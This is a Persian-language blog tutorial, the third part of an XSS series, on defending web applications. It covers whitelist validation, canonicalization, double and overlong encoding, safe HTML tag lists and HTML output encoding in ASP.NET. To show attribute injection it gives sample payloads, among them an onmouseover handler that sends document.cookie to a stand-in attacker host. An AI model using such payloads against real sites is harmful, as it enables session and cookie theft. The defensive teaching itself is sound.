Cross Site Scripting - XSS - Part3

سلام دوستان عزیز.

در این قسمت میخوایم راههای جلوگیری از حمله XSS به برنامه را مورد بررسی قرار بدیم. اگه قسمتهای قبلی را نخوندید میتونید از لینکهای زیر استفاده کنید:

Cross Site Scripting - XSS - Part1

Cross Site Scripting - XSS - Part2

 یه نکته رو هم بگم که چون من خودم با ASP.NET بیشتر آشنا هستم از ابزارها و مکانیزمهای دفاعی در ASP.NET بیشتر توضیح دادم.

روشهای پیشگیری (XSS Countermeasures)

روشهای پیشگیری DOM-Based را از روشهای پیشگیری در دو نوع دیگر مجزا کردم.

1.     روشهای پیشگیری در Reflected و Stored XSS 1.1.ورودیهای برنامه را اعتبارسنجی کنید ( Validate Inputs)

برنامه میبایست در تمامی نقاطی که داده ها را میگیرد و بعدا در جواب به کاربر آنها را برمیگرداند ( رجوع شود به نقاط احتمالی برای تزریق اسکریپت در بخش قبل) روی داده ها اعتبارسنجی انجام دهد.

سه رویکرد اصلی در Input Validation عبارتند از:

 Black List - اگر ورودی با لیست عناصر ممنوعه که از قبل مشخص شده، مطابق نباشد پذیرفته میشود.

White List  - اگر ورودی بر اساس لیست عناصر قابل قبول برای برنامه باشد، پذیرفته میشود.

Sanitization - در صورتیکه مجبور به دریافت ورودی نامعتبر در برنامه باشیم آنگاه میبایست مکانیزمی برای تبدیل ورودی به ورودی امن داشته باشیم. برای مثال حذف کردن کاراکترها و کلمات خطرناک در ورودی مانند <,>,Script و  ...  از ورودی یا Escaping(Encoding) ورودی.

 استفاده از رویکرد Black List  توصیه نمیشود و میتوان اعتبارسنجی برنامه های مبتنی بر این رویکرد را دور زده و برنامه را مورد حمله قرار داد بنابراین تا جایی که مقدور است از رویکرد White-List برای validation استفاده نمایید و داده های نامعتبر را بجای اینکه Sanitize کنید Reject  کرده  و داده هایی که حاوی HTML و اسکریپت میباشد را به عنوان ورودی نپذیرید. (در صورتی که مجبور به پذیرش اسکریپت و HTML هستید راهکار آن در بخش بعدی آمده است). همچنین توصیه میشود در راهکار White List از Regular Expression برای تشخیص ورودی معتبر استفاده گردد.

در فرآیند اعتبارسنجی میبایست ابتدا Canonicalization ورودی انجام پذیرد (اصطلاحا داده ها باید به فرمتcanonical  باشند و اگر ورودی بصورت Unicode میباشد Normalize شود (از Form های مختلف Normalization معمولا توصیه میشود از  NFKC استفاده شود)، سپس روی طول، فرمت، نوع و Business Rule ها بر روی ورودی اعتبارسنجی لازم انجام پذیرد.

تذکر1: در صورت امکان در برنامه از پذیرفتن ورودیهای Encode شده (URL Encode یا HTML Encode) خودداری نمایید اما اگر اینکار اجتناب ناپذیر است ورودی را فقط و فقط یکبار Decode نمایید و چنانچه همچنان ورودی دارای کاراکترهای کد شده بود از پذیرفتن ورودی خودداری نمایید همچنین اطمینان حاصل کنید که نباید در برنامه یک ورودی را دوبار Decode کنید زیرا  ورودیهای دوبار کد شده (Double Encode) زمینه را برای Bypass کردن اعتبارسنجی ورودی فراهم میکنند. برای مثال کاراکتر single quote(')  در URL Encoding بصورت 27% میباشد و در Double URL Encoding بصورت 2527% میباشد(کاراکتر % مجددا بصورت 25% کد شده است).

تذکر2: ورودیهایی که بصورت Overlong  میباشند را به عنوان ورودی نامعتبر تلقی کنید و از پذیرفتن آنها خودداری نمایید. به ورودیهایی Overlong گفته میشود که از بایتهای اضافی برای نمایش کاراکترها استفاده میکنند و با

 شروع میشوند. برای مثال شکل صحیح برای کاراکتر   %c0

 Period(.)   بصورت تک بایت

%2e میباشد ولی در صورتیکه بصورت

%c0%ae

باشد Overlong خواهد بود.

 اگر در برنامه میبایست از عناصر HTML  در ورودی استفاده شود موارد زیر رعایت گردد:

میبایست از رویکرد White List در جهت تعیین قسمتهای محدودی از HTML که شامل عناصر و Attribute های مشخصی میباشند استفاده نمایید. از تگهای ساده زیر استفاده نمایید:

  <b>

  <blockquote>

  <br>

  <div>

  <em>

  <i>

  <li>

  <ol>

  <p>

  <strong>

  <u>

  <ul>

اما در عین حال  مقادیرAttribute برای این تگها را بدقت مورد توجه قرار دهید تا تزریق اسکریپت در Attribute ها امکانپذیر نباشد. برای مثال برنامه ممکن است از روشهای زیر در تزریق اسکریپت در Attribute تگهای به ظاهر بیخطر مانند <b>  و <i> مورد حمله قرار بگیرد:

 

<b onmouseover="document.location = 'http://attacker.com/' + document.cookie">MyLink</b>

                  

<b style=behavior:url(#default#time2) onbegin=alert(1)>

 

<i onclick=alert(1)>Click here</i>

 

Microsoft AntiXSS Library از نسخه 3.1 به بعد امکانی را برای ذخیره و یا نمایش ورودیهایی که به صورت HTML میباشند را فراهم آورده است. اطلاعات بیشتر در ادامه مطلب آمده است.

1.2. خروجی برنامه را قبل از نمایش Encode نمایید(Encode Output)

در نقاطی که داده های دریافت شده از کاربر( و از سایر منابع نامطمئن دیگر) را در Response به کاربر برمیگردانید باید داده ها به روش درست Encode شوند تا در صورتیکه کاراکترهای مخرب بالقوه در داده ها وجود دارند تبدیل به کاراکتر امن شوند. براین اساس، امکانات و کتابخانه های مختلفی بوجود آمده است تا برنامه نویسان از Encoding ها در برنامه براحتی استفاده کنند که Microsoft Anti-XSS Library  و The OWASP ESAPI project و SAP Output Encoding  نمونه های بارز میباشند.

انواع Encoding های مختلف شامل موارد زیر میباشد و بسته به اینکه متن خروجی در چه جایی قرار میگیرد از آنها استفاده میگردد:

1.2.1.  HTML Encoding:

زمانیکه ورودیِ نامطمئن در بین Elementهای HTML به عنوان محتوا قرار میگیرد از این Encoding استفاده میگردد. برای مثال:

<p>Hello [Untrusted Input]</p>

در HTML Encoding  کاراکترها با معادل HTML Entity خودشان جایگزین میشوند. برای مثال کاراکتر

<

به

&lt;

و یا کاراکتر & به

&amp;

تبدیل میگردد (برای جزییات بیشتر اینجا کلیک نمایید). اینکار باعث میشود که Browser ها کاراکترهایی که بالقوه مخرب هستند و هکرها از آنها برای تزریق اسکریپت استفاده میکنند را به کاراکترهای امن تبدیل نمایند.

در ASP.NET برای HTML Encoding مطابق شکل زیر راههای مختلفی وجود دارد:

/ 0 نظر / 42 بازدید